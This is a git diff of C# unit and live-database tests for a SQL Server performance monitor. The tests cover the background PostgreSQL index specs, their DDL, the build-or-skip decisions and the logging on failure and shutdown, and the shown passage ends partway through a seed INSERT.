+/// The background Query Store indexes without a store: which indexes there are (the BRIN and #4952's btree, none on
+/// the raw hypertable), the build-or-skip decision, the DDL each ensure runs, that the btree's shape is the shape of
+/// the read it serves, and that the worker's one delayed task makes one in-order attempt at each of them.
+/// </summary>
+public sealed class QueryStoreBackgroundIndexesTests
+{
+    private static readonly QueryStoreBackgroundIndexes.IndexSpec Wide = QueryStoreBackgroundIndexes.WideServerFirstExec;
+    private static readonly QueryStoreBackgroundIndexes.IndexSpec Latest = QueryStoreBackgroundIndexes.LatestServerFirstExec;
+    private static readonly QueryStoreBackgroundIndexes.IndexSpec Brin = QueryStoreIntervalWideBrinIndex.Spec;
+
+    [Theory]
+    [InlineData(140000, false, QueryStoreBackgroundIndexes.IndexAction.Build)]
+    [InlineData(180006, false, QueryStoreBackgroundIndexes.IndexAction.Build)]
+    [InlineData(140000, true, QueryStoreBackgroundIndexes.IndexAction.SkipHypertable)]
+    [InlineData(180006, true, QueryStoreBackgroundIndexes.IndexAction.SkipHypertable)]
+    public void TheWideBtree_BuildsConcurrentlyOnTheHeap_AndSkipsAHypertable(
+        int serverVersionNum, bool hypertable, QueryStoreBackgroundIndexes.IndexAction expected)
+    {
+        Assert.Equal(expected, QueryStoreBackgroundIndexes.Decide(Wide, serverVersionNum, hypertable).Action);
+    }
+
+    [Theory]
+    [InlineData(140000, false, QueryStoreBackgroundIndexes.IndexAction.Build)]
+    [InlineData(180006, false, QueryStoreBackgroundIndexes.IndexAction.Build)]
+    [InlineData(140000, true, QueryStoreBackgroundIndexes.IndexAction.SkipHypertable)]
+    [InlineData(180006, true, QueryStoreBackgroundIndexes.IndexAction.SkipHypertable)]
+    public void TheLatestBtree_BuildsConcurrentlyOnTheHeap_AndSkipsAHypertable(
+        int serverVersionNum, bool hypertable, QueryStoreBackgroundIndexes.IndexAction expected)
+    {
+        Assert.Equal(expected, QueryStoreBackgroundIndexes.Decide(Latest, serverVersionNum, hypertable).Action);
+    }
+
+    [Fact]
+    public void TheLatestBtreeDdl_IsAConcurrentBtreeOnServerAndFirstExecutionTime_OnTheLatestTable()
+    {
+        var sql = Latest.PlainCreateSql;
+        Assert.Contains("CREATE INDEX CONCURRENTLY IF NOT EXISTS ix_query_store_interval_latest_server_first_exec", sql);
+        Assert.Contains("ON collect.query_store_interval_latest (server_id, first_execution_time)", sql);
+        Assert.DoesNotContain("brin", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain(" WHERE ", sql, StringComparison.Ordinal);
+        Assert.Contains("DROP INDEX CONCURRENTLY IF EXISTS collect.ix_query_store_interval_latest_server_first_exec;", Latest.PlainDropSql);
+        Assert.Equal(QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName, Latest.IndexName);
+        Assert.Equal("collect.query_store_interval_latest", Latest.TableName);
+    }
+
+    [Fact]
+    public void TheLatestBtree_LeadsWithTheServerAndCarriesTheFirstExecutionBoundTheLatestReadsFilterOn()
+    {
+        /* #5507. Each read of collect.query_store_interval_latest that bounds server_id and first_execution_time, with the
+           bound it carries; in ux_query_store_interval_latest first_execution_time is the seventh column, so only a btree
+           that leads with server_id turns the bound into a range. */
+        var reads = new (string Name, string Sql, string Table, string Server, string Bound)[]
+        {
+            ("PlanRegressionDaily.BuildDaySql", PlanRegressionDaily.BuildDaySql, "collect.query_store_interval_latest", "l.server_id = $1", "l.first_execution_time >= $4::timestamp"),
+            ("QueryStoreIntervalLatest.PlainTableFloorSql", QueryStoreIntervalLatest.PlainTableFloorSql, "collect.query_store_interval_latest", "t.server_id = $1", "MIN(t.first_execution_time)"),
+            ("PgFactCollector.PlanRegressionDailySql, live half", PgFactCollector.PlanRegressionDailySql, "FROM query_store_interval_latest AS l", "l.server_id = $1::integer", "l.first_execution_time >= $4::timestamp"),
+            ("PgFactCollector.PlanRegressionTableSql", PgFactCollector.PlanRegressionTableSql, "FROM query_store_interval_latest", "WHERE server_id = $1", "first_execution_time >= $4"),
+            ("PgDrillDownCollector.RegressedQueriesTableSql", PgDrillDownCollector.RegressedQueriesTableSql, "FROM query_store_interval_latest", "WHERE server_id = $1", "first_execution_time >= $7"),
+        };
+
+        foreach (var (name, sql, table, server, bound) in reads)
+        {
+            Assert.True(sql.Contains(server, StringComparison.Ordinal), name + " must filter on the server");
+            Assert.True(sql.Contains(bound, StringComparison.Ordinal), name + " must carry its first_execution_time bound");
+            Assert.True(sql.Contains(table, StringComparison.Ordinal), name + " must read the latest table");
+        }
+
+        Assert.Contains("(server_id, first_execution_time)", Latest.PlainCreateSql);
+    }
+
+    [Fact]
+    public void TheLatestWritersDoUpdateSetList_NeverSetsTheServerOrTheFirstExecutionTime_SoTheLatestBtreeKeepsUpdatesHot()
+    {
+        var setColumns = QueryStoreIntervalWideBrinIndexLiveTests.UpsertSetColumns(QueryStoreIntervalLatest.UpsertSql);
+        Assert.True(setColumns.Count >= 8, $"the parse found {setColumns.Count} SET columns; the upsert sets 10");
+        Assert.Contains("collection_time", setColumns);
+        Assert.Contains("execution_count", setColumns);
+        Assert.DoesNotContain("server_id", setColumns);
+        Assert.DoesNotContain("first_execution_time", setColumns);
+    }
+
+    [Fact]
+    public void TheWideBtreeDdl_IsAConcurrentBtreeOnServerAndFirstExecutionTime()
+    {
+        var sql = Wide.PlainCreateSql;
+        Assert.Contains("CREATE INDEX CONCURRENTLY IF NOT EXISTS ix_query_store_interval_wide_server_first_exec", sql);
+        Assert.Contains("ON collect.query_store_interval_wide (server_id, first_execution_time)", sql);
+        Assert.DoesNotContain("brin", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain(" WHERE ", sql, StringComparison.Ordinal);
+        Assert.Contains("DROP INDEX CONCURRENTLY IF EXISTS", Wide.PlainDropSql);
+        Assert.Equal(QueryStoreBackgroundIndexes.WideServerFirstExecIndexName, Wide.IndexName);
+    }
+
+    [Fact]
+    public void TheWideBtree_LeadsWithTheServerAndCarriesTheFirstExecutionBoundTheTableReadsFilterOn()
+    {
+        /* Every per-server read of the table, the duration trend once per arm (its two arms are joined by UNION ALL and
+           each carries its own server filter and floor). QueryStoreIntervalWideFirstExecFloorTests pins the rest of each
+           read's floor: its margin, its position after the time bounds, and that the raw reads carry none. */
+        var trendArms = ViewerDataService.QueryStoreDurationTrendTableSql.Split("UNION ALL", StringSplitOptions.None);
+        Assert.Equal(2, trendArms.Length);
+
+        var reads = new (string Name, string Sql)[]
+        {
+            ("DarlingDataReader.QueryStoreTopTableSql", DarlingDataReader.QueryStoreTopTableSql),
+            ("ViewerDataService.QueryStoreTopTableSql", ViewerDataService.QueryStoreTopTableSql),
+            ("ViewerDataService.QueryStoreDurationTrendTableSql, interval arm", trendArms[0]),
+            ("ViewerDataService.QueryStoreDurationTrendTableSql, legacy arm", trendArms[1]),
+        };
+
+        foreach (var (name, sql) in reads)
+        {
+            Assert.True(sql.Contains("WHERE server_id = $1", StringComparison.Ordinal), name + " must filter on the server first");
+            Assert.True(sql.Contains("first_execution_time >= $2 - ", StringComparison.Ordinal), name + " must bound first_execution_time on the window start");
+        }
+
+        Assert.Contains("(server_id, first_execution_time)", Wide.PlainCreateSql);
+    }
+
+    /* The hypertable probe compares the schema and the name as two bound values, so the spelling of a spec's TableName
+       is not matched through a concatenation. */
+    [Theory]
+    [InlineData("collect.query_store_interval_wide", "collect", "query_store_interval_wide")]
+    [InlineData("collect.query_store_interval_latest", "collect", "query_store_interval_latest")]
+    [InlineData("collect.query_store_stats", "collect", "query_store_stats")]
+    [InlineData("a.b.c", "a.b", "c")]
+    public void ATableName_SplitsAtItsLastDot_IntoItsSchemaAndItsName(string tableName, string schema, string name)
+    {
+        Assert.Equal((schema, name), QueryStoreBackgroundIndexes.SplitTableName(tableName));
+    }
+
+    [Theory]
+    [InlineData("query_store_interval_wide")]
+    [InlineData(".query_store_interval_wide")]
+    [InlineData("collect.")]
+    public void ATableNameWithoutBothAParts_IsRejected(string tableName)
+    {
+        Assert.Throws<ArgumentException>(() => QueryStoreBackgroundIndexes.SplitTableName(tableName));
+    }
+
+    [Fact]
+    public void EveryBackgroundIndexsTableName_SplitsIntoItsRealSchemaAndName()
+    {
+        foreach (var spec in QueryStoreBackgroundIndexes.All)
+        {
+            var (schema, name) = QueryStoreBackgroundIndexes.SplitTableName(spec.TableName);
+            Assert.Equal("collect", schema);
+            Assert.Equal(spec.TableName, schema + "." + name);
+        }
+    }
+
+    [Fact]
+    public void TheHypertableProbe_ComparesTheSchemaAndTheNameAsTwoParameters_NotAConcatenation()
+    {
+        var sql = QueryStoreBackgroundIndexes.HypertableSql;
+        Assert.Contains("h.hypertable_schema = $1", sql, StringComparison.Ordinal);
+        Assert.Contains("h.hypertable_name = $2", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("||", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("'.'", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheWritersDoUpdateSetList_NeverSetsTheServerOrTheFirstExecutionTime_SoTheWideBtreeKeepsUpdatesHot()
+    {
+        /* The HOT premise of the wide btree: an update stays heap-only only while no indexed column changes, and the
+           btree's two columns are the first key and part of the upsert's identity, so ON CONFLICT never rewrites them. */
+        var setColumns = QueryStoreIntervalWideBrinIndexLiveTests.UpsertSetColumns();
+        Assert.True(setColumns.Count >= 50, $"the parse found {setColumns.Count} SET columns; the upsert sets about 55");
+        Assert.Contains("collection_time", setColumns);
+        Assert.DoesNotContain("server_id", setColumns);
+        Assert.DoesNotContain("first_execution_time", setColumns);
+
+        var identity = QueryStoreIntervalWide.IdentityColumns.Split(',', StringSplitOptions.TrimEntries);
+        Assert.Contains("server_id", identity);
+        Assert.Contains("first_execution_time", identity);
+    }
+
+    /* collect.query_store_stats is a hypertable, and an index on one can only be built per chunk, which locks each
+       chunk it builds. The Query Store backfill writes backdated rows into older chunks as well as the newest, under
+       the collector's 10 s COPY deadline, so no chunk is safe to lock and no background index targets that table. */
+    [Fact]
+    public void TheBackgroundIndexes_AreTheBrinThenTheWideBtreeThenTheLatestBtree_AndNoneTargetsTheRawHypertable()
+    {
+        Assert.Equal(
+            new[]
+            {
+                QueryStoreIntervalWideBrinIndex.IndexName,
+                QueryStoreBackgroundIndexes.WideServerFirstExecIndexName,
+                QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName,
+            },
+            QueryStoreBackgroundIndexes.All.Select(spec => spec.IndexName).ToArray());
+
+        foreach (var spec in QueryStoreBackgroundIndexes.All)
+        {
+            Assert.NotEqual("collect.query_store_stats", spec.TableName);
+            Assert.DoesNotContain("query_store_stats", spec.PlainCreateSql, StringComparison.Ordinal);
+            Assert.DoesNotContain("query_store_stats", spec.PlainDropSql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void EveryBackgroundIndex_IsRegisteredOnce_BuildsConcurrentlyAndIdempotently_AndHasAConcurrentDrop()
+    {
+        var all = QueryStoreBackgroundIndexes.All;
+        Assert.Equal(all.Count, all.Select(spec => spec.IndexName).Distinct(StringComparer.Ordinal).Count());
+
+        foreach (var spec in all)
+        {
+            Assert.StartsWith("collect.", spec.IndexName, StringComparison.Ordinal);
+            Assert.StartsWith("collect.", spec.TableName, StringComparison.Ordinal);
+
+            /* Only the plain form exists: a hypertable takes no per-chunk build, it is skipped. */
+            Assert.Contains("CREATE INDEX CONCURRENTLY IF NOT EXISTS", spec.PlainCreateSql);
+            Assert.DoesNotContain("transaction_per_chunk", spec.PlainCreateSql, StringComparison.Ordinal);
+            Assert.Contains("DROP INDEX CONCURRENTLY IF EXISTS", spec.PlainDropSql);
+        }
+    }
+
+    [Fact]
+    public async Task TheDelayedRun_AttemptsEachIndexOnceInOrder()
+    {
+        var calls = new List<string>();
+
+        await QueryStoreBackgroundIndexes.RunDelayedAsync(
+            NullLogger.Instance,
+            TimeSpan.Zero,
+            QueryStoreBackgroundIndexes.All,
+            (spec, _) =>
+            {
+                calls.Add(spec.IndexName);
+                return Task.CompletedTask;
+            },
+            CancellationToken.None);
+
+        Assert.Equal(QueryStoreBackgroundIndexes.All.Select(spec => spec.IndexName).ToArray(), calls);
+    }
+
+    [Fact]
+    public async Task AFailedAttempt_IsNotRetriedInTheSameRun_AndDoesNotStopTheNextIndex()
+    {
+        var calls = new List<string>();
+        var logger = new CapturingTestLogger();
+
+        await QueryStoreBackgroundIndexes.RunDelayedAsync(
+            logger,
+            TimeSpan.Zero,
+            new[] { Wide, Brin },
+            (spec, _) =>
+            {
+                calls.Add(spec.IndexName);
+                return spec == Wide
+                    ? throw new InvalidOperationException("the build failed")
+                    : Task.CompletedTask;
+            },
+            CancellationToken.None);
+
+        Assert.Equal(new[] { Wide.IndexName, Brin.IndexName }, calls);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("retried at the next start", logger.Joined, StringComparison.Ordinal);
+        Assert.Contains(Wide.IndexName, logger.Joined, StringComparison.Ordinal);
+        Assert.DoesNotContain("(shutdown)", logger.Joined, StringComparison.Ordinal);
+    }
+
+    /* A failed ensure's warning names the server error's SQLSTATE, so a full disk (53100) reads differently from a lock
+       timeout without opening the exception. An error that carries no SQLSTATE names none. */
+    [Fact]
+    public async Task AFailedEnsure_NamesTheServerErrorsSqlState_InTheWarning()
+    {
+        var line = await LogOneFailedEnsureAsync(new PostgresException("could not extend file", "ERROR", "ERROR", "53100"));
+
+        Assert.StartsWith("Warning:", line, StringComparison.Ordinal);
+        Assert.Contains(nameof(PostgresException) + ", SQLSTATE 53100:", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AFailedEnsure_NamesNoSqlState_WhenTheErrorCarriesNone()
+    {
+        var notFromTheServer = await LogOneFailedEnsureAsync(new InvalidOperationException("the build failed"));
+        var noStateOnTheError = await LogOneFailedEnsureAsync(new NpgsqlException("the connection was closed"));
+
+        Assert.DoesNotContain("SQLSTATE", notFromTheServer, StringComparison.Ordinal);
+        Assert.Contains(nameof(InvalidOperationException) + ": the build failed", notFromTheServer, StringComparison.Ordinal);
+        Assert.DoesNotContain("SQLSTATE", noStateOnTheError, StringComparison.Ordinal);
+        Assert.Contains(nameof(NpgsqlException) + ": the connection was closed", noStateOnTheError, StringComparison.Ordinal);
+    }
+
+    private static async Task<string> LogOneFailedEnsureAsync(Exception failure)
+    {
+        var logger = new CapturingTestLogger();
+
+        await QueryStoreBackgroundIndexes.RunDelayedAsync(
+            logger,
+            TimeSpan.Zero,
+            new[] { Wide },
+            (_, _) => throw failure,
+            CancellationToken.None);
+
+        return Assert.Single(logger.Lines);
+    }
+
+    /* The delayed run's three shutdown lines each name the index they are about: the one in progress, or, before the
+       delay is over, every index the run would have built. None puts a reason where the index name goes. */
+    [Fact]
+    public async Task CancelledBeforeItStarted_NamesEveryIndexTheRunWouldHaveBuilt_AndAttemptsNone()
+    {
+        using var shutdown = new CancellationTokenSource();
+        shutdown.Cancel();
+        var calls = new List<string>();
+        var logger = new CapturingTestLogger();
+
+        await QueryStoreBackgroundIndexes.RunDelayedAsync(
+            logger,
+            QueryStoreBackgroundIndexes.StartDelay,
+            QueryStoreBackgroundIndexes.All,
+            (spec, _) =>
+            {
+                calls.Add(spec.IndexName);
+                return Task.CompletedTask;
+            },
+            shutdown.Token);
+
+        Assert.Empty(calls);
+        var line = Assert.Single(logger.Lines);
+        Assert.StartsWith("Debug:", line, StringComparison.Ordinal);
+        Assert.Contains("cancelled before it started", line, StringComparison.Ordinal);
+        foreach (var spec in QueryStoreBackgroundIndexes.All)
+        {
+            Assert.Contains(spec.IndexName, line, StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain("(shutdown)", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ShutdownDuringABuild_NamesTheIndexInProgress_AndOnlyThatOne()
+    {
+        using var shutdown = new CancellationTokenSource();
+        var logger = new CapturingTestLogger();
+
+        await QueryStoreBackgroundIndexes.RunDelayedAsync(
+            logger,
+            TimeSpan.Zero,
+            new[] { Brin, Wide },
+            (spec, token) =>
+            {
+                if (spec == Wide)
+                {
+                    shutdown.Cancel();
+                    token.ThrowIfCancellationRequested();
+                }
+
+                return Task.CompletedTask;
+            },
+            shutdown.Token);
+
+        var line = Assert.Single(logger.Lines);
+        Assert.StartsWith("Information:", line, StringComparison.Ordinal);
+        Assert.Contains("cancelled at shutdown", line, StringComparison.Ordinal);
+        Assert.Contains("next start retries", line, StringComparison.Ordinal);
+        Assert.Contains(Wide.IndexName, line, StringComparison.Ordinal);
+        Assert.DoesNotContain(Brin.IndexName, line, StringComparison.Ordinal);
+        Assert.DoesNotContain("(shutdown)", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AnErrorRaisedWhileShuttingDown_IsInformation_NamingTheIndexInProgressTheErrorAndTheRetry()
+    {
+        using var shutdown = new CancellationTokenSource();
+        var logger = new CapturingTestLogger();
+
+        await QueryStoreBackgroundIndexes.RunDelayedAsync(
+            logger,
+            TimeSpan.Zero,
+            new[] { Brin, Wide },
+            (spec, _) =>
+            {
+                if (spec == Wide)
+                {
+                    shutdown.Cancel();
+                    throw new InvalidOperationException("the connection closed under the build");
+                }
+
+                return Task.CompletedTask;
+            },
+            shutdown.Token);
+
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        var line = Assert.Single(logger.Lines);
+        Assert.StartsWith("Information:", line, StringComparison.Ordinal);
+        Assert.Contains(Wide.IndexName, line, StringComparison.Ordinal);
+        Assert.DoesNotContain(Brin.IndexName, line, StringComparison.Ordinal);
+        Assert.Contains("stopped at shutdown", line, StringComparison.Ordinal);
+        Assert.Contains(nameof(InvalidOperationException), line, StringComparison.Ordinal);
+        Assert.Contains("the connection closed under the build", line, StringComparison.Ordinal);
+        Assert.Contains("next start retries", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("(shutdown)", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheWorker_RunsTheTwoEnsuresInOneDelayedTask_NotTwoConcurrentOnes()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs").Replace("\r\n", "\n");
+
+        /* #5571: the worker's one launch is QueryStoreIntervalPartitions.RunDelayedAsync, which runs Phase A of the day
+           partitions and then hands the same specs to QueryStoreBackgroundIndexes.RunDelayedAsync with no second wait.
+           The worker never calls the index engine itself, so the two ensures still run inside ONE delayed task. */
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(source, @"QueryStoreIntervalPartitions\.RunDelayedAsync\("));
+        Assert.DoesNotContain("QueryStoreBackgroundIndexes.RunDelayedAsync", source, StringComparison.Ordinal);
+        Assert.Contains("QueryStoreBackgroundIndexes.All", source);
+
+        var partitions = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreIntervalPartitions.cs").Replace("\r\n", "\n");
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(partitions, @"QueryStoreBackgroundIndexes\.RunDelayedAsync\(postgres, logger, TimeSpan\.Zero, specs"));
+        Assert.DoesNotContain("QueryStoreIntervalWideBrinIndex.RunDelayedAsync", source);
+
+        /* The loop is sequential and each failure is isolated: a failed index warns and the next one still runs. One
+           attempt per start: the start delay is the only wait, so nothing retries an index inside the run. */
+        var engine = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreBackgroundIndexes.cs").Replace("\r\n", "\n");
+        Assert.Contains("foreach (var spec in specs)", engine);
+        Assert.Contains("catch (Exception ex) when (!cancellationToken.IsCancellationRequested)", engine);
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(engine, @"Task\.Delay\("));
+
+        /* No retry loop. The only loop construct allowed is the one that reads a result set's rows (#5571's partitioned
+           path lists the leaf partitions that way), which has no wait and no second attempt. */
+        Assert.DoesNotContain("while (true)", engine, StringComparison.Ordinal);
+        Assert.Empty(System.Text.RegularExpressions.Regex.Matches(engine, @"while \((?!await reader\.ReadAsync\()"));
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreClutterLivePostgresTests.cs b/Darling/Darling.Tests/QueryStoreClutterLivePostgresTests.cs
index 4ff4ca7a82..b5c2551558 100644
--- a/Darling/Darling.Tests/QueryStoreClutterLivePostgresTests.cs
+++ b/Darling/Darling.Tests/QueryStoreClutterLivePostgresTests.cs
@@ -321,15 +321,15 @@ public async Task TheReadersDiscreteMedian_AndThePureOne_AgreeOnTheSameRows()
         await using var postgres = NpgsqlDataSource.Create(connectionString);
         var start = anchor.AddHours(-24);
 
-        var readCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(postgres, [PrimaryId, ReplicaId, EmptyId], start, anchor, ct);
+        var readCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(postgres, [PrimaryId, ReplicaId, EmptyId], start, anchor, cancellationToken: ct);
         Assert.Equal(3, readCost.Count);
         Assert.All(readCost, r => Assert.Equal(PrimaryId, r.ServerId));
         Assert.Equal(40.0, QueryStoreClutter.DiscreteMedian(readCost.Select(r => r.SlowestSharePctP50)));
 
-        var churn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(postgres, [PrimaryId, ReplicaId, EmptyId], start, anchor, ct);
+        var churn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(postgres, [PrimaryId, ReplicaId, EmptyId], start, anchor, cancellationToken: ct);
         Assert.Equal(new[] { Alpha, Beta }, churn.Select(r => r.DatabaseName).ToArray());
 
-        var config = await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, [PrimaryId, ReplicaId, EmptyId], start, anchor, ct);
+        var config = await DarlingQueryStoreClutterReader.GetConfigAsync(postgres, [PrimaryId, ReplicaId, EmptyId], start, anchor, cancellationToken: ct);
         Assert.Equal(5, config.Count);
         Assert.Single(config, c => c.IsSecondaryReplica);
         Assert.True(QueryStoreClutter.IsReplicaServer(config.Where(c => c.ServerId == ReplicaId)));
diff --git a/Darling/Darling.Tests/QueryStoreClutterTests.cs b/Darling/Darling.Tests/QueryStoreClutterTests.cs
index 0c0f88cdf0..7f82a18197 100644
--- a/Darling/Darling.Tests/QueryStoreClutterTests.cs
+++ b/Darling/Darling.Tests/QueryStoreClutterTests.cs
@@ -35,6 +35,7 @@ namespace Darling.Tests;
 /// <para>The judgment tests are written against the thresholds by NAME so a bar moved deliberately fails
 /// here by one constant rather than by a dozen literals. Each boundary is exercised on both sides.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class QueryStoreClutterTests
 {
     private const string ToolName = "get_query_store_clutter";
@@ -420,7 +421,7 @@ public void Parameters_AreTheWindowedPageDialect_AllOptional_WithTheFleetKnobOff
             .Where(p => p.GetCustomAttribute<DescriptionAttribute>() is not null)
             .ToArray();
 
-        Assert.Equal(new[] { "server_name", "hours_back", "limit", "include_fleet_median", "as_of" }, parameters.Select(p => p.Name).ToArray());
+        Assert.Equal(new[] { "server_name", "hours_back", "limit", "include_fleet_median", "as_of", "database_name" }, parameters.Select(p => p.Name).ToArray());
         Assert.All(parameters, p => Assert.True(p.HasDefaultValue, $"{p.Name} must be optional"));
         Assert.Equal(24, parameters.Single(p => p.Name == "hours_back").DefaultValue);
         Assert.Equal(DarlingMcpQueryStoreClutterTools.DefaultLimit, parameters.Single(p => p.Name == "limit").DefaultValue);
@@ -604,7 +605,7 @@ public void TheTool_IsRegisteredOnTheHost_AndServedOnTheWebSurface()
 
         Assert.True(DarlingWebEndpoints.BuildReadDispatch().ContainsKey(ToolName));
         var descriptor = DarlingWebEndpoints.CatalogDescriptors[ToolName];
-        Assert.Equal(new[] { "server", "hours", "limit", "include_fleet_median", "as_of" }, descriptor.Params.Select(p => p.Name).ToArray());
+        Assert.Equal(new[] { "server", "hours", "limit", "include_fleet_median", "as_of", "database_name" }, descriptor.Params.Select(p => p.Name).ToArray());
         Assert.All(descriptor.Params, p => Assert.False(p.Required));
         Assert.Contains("Replicas excluded by architecture", descriptor.Description, StringComparison.Ordinal);
     }
@@ -651,12 +652,12 @@ public void TheDarlingReadme_DescribesTheTool_WithTheReplicaRuleAndTheCaptureMod
     public void TheToolBody_ReadsTheFleetOverTheSameAnchoredWindow()
     {
         var source = ReadRepoFile(ToolSource.Split('/'));
-        var body = source[source.IndexOf("public static async Task<string> GetQueryStoreClutter", StringComparison.Ordinal)..];
+        var body = source[source.IndexOf("internal static async Task<string> GetQueryStoreClutter", StringComparison.Ordinal)..];
         Assert.DoesNotContain("DateTime.UtcNow", body, StringComparison.Ordinal);
         /* #4203: cancellationToken threads to every store call, so the anchor pin matches the call text
            including the token rather than the pre-#4203 shape. */
-        Assert.Contains("GetReadCostAsync(postgres, fleetIds, requestedStart, now, cancellationToken)", body, StringComparison.Ordinal);
-        Assert.Contains("GetPlanChurnAsync(postgres, fleetIds, requestedStart, now, cancellationToken)", body, StringComparison.Ordinal);
+        Assert.Contains("GetReadCostAsync(postgres, fleetIds, requestedStart, now, cancellationToken: cancellationToken)", body, StringComparison.Ordinal);
+        Assert.Contains("GetPlanChurnAsync(postgres, fleetIds, requestedStart, now, cancellationToken: cancellationToken)", body, StringComparison.Ordinal);
         Assert.Contains("GetQdsWaitsAsync(postgres, fleetIds, requestedStart, now, cancellationToken)", body, StringComparison.Ordinal);
         /* the page is observed, never inferred */
         Assert.Contains("McpHelpers.BoundPage(composed, limit)", body, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/QueryStoreComposeStampLiveTests.cs b/Darling/Darling.Tests/QueryStoreComposeStampLiveTests.cs
new file mode 100644
index 0000000000..cbc9d1a00f
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreComposeStampLiveTests.cs
@@ -0,0 +1,522 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 part 3, lane 1: the V173 rollup against a real PostgreSQL store (<c>DARLING_TEST_PG</c>). A 30-hour seed (three servers,
+/// several plans per query hash, Aborted and Exception rows, NULL module and hash, NULL durations, weighted products whose
+/// SUM passes a bigint) is built hour by hour, and then:
+/// every rollup column equals the same aggregate over the wide table, compared as text; the grain is unique; a replayed row
+/// and an update that moves a row out of a built hour each make their (server, hour) pair stale and a rebuild makes it current;
+/// a build that runs at the same time as a late write (two connections) leaves the pair stale, for a pair that existed at the
+/// build and for one that did not; the cleanup removes all three tables below the floor; a second migrate changes nothing; the
+/// triggers sit on the partitioned parent and on every leaf, including leaves made or attached later; the read-only roles can
+/// SELECT the new tables.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to CREATE and DROP its
+   own database through ScratchPostgres and works entirely inside it, so it never touches the shared database and cannot race the
+   live collection. */
+public sealed class QueryStoreComposeStampLiveTests
+{
+    private const int RetentionDays = 9;
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string SkipReason = "Set DARLING_TEST_PG to a Postgres connection string to run the #5582 rollup's live facts.";
+
+    private static string At(DateTime value) => value.ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture);
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> CountAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    private static async Task<string> TextAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        return Convert.ToString(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture) ?? string.Empty;
+    }
+
+    private static DateTime ThisHour() => new(DateTime.UtcNow.Year, DateTime.UtcNow.Month, DateTime.UtcNow.Day, DateTime.UtcNow.Hour, 0, 0, DateTimeKind.Unspecified);
+
+    private static async Task<NpgsqlConnection> MigratedAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task EnrollAsync(NpgsqlConnection connection, int serverId, CancellationToken ct) =>
+        await ExecAsync(connection,
+            $"INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES ({serverId}, 'srv{serverId}', TRUE) ON CONFLICT (server_id) DO NOTHING;"
+            + $"INSERT INTO collect.query_store_interval_wide_coverage (server_id, filled_since, applied_through) VALUES ({serverId}, date_trunc('hour', now() AT TIME ZONE 'UTC') - interval '30 hours', now() AT TIME ZONE 'UTC')", ct);
+
+    /// <summary>
+    /// 30 hours of rows ending at <paramref name="hourNow"/>: 3 servers x 12 stamps an hour x 6 query hashes x 3 plans each. Hash 5 has a
+    /// NULL query_hash, hash 3 and 6 a NULL module; some durations are NULL; some rows are Aborted or Exception; the rows of hash 1 carry
+    /// products near 6e18, so a group of three plans sums past a bigint.
+    /// </summary>
+    private static Task SeedAsync(NpgsqlConnection connection, DateTime hourNow, CancellationToken ct) => ExecAsync(connection, $@"
+INSERT INTO collect.query_store_interval_wide
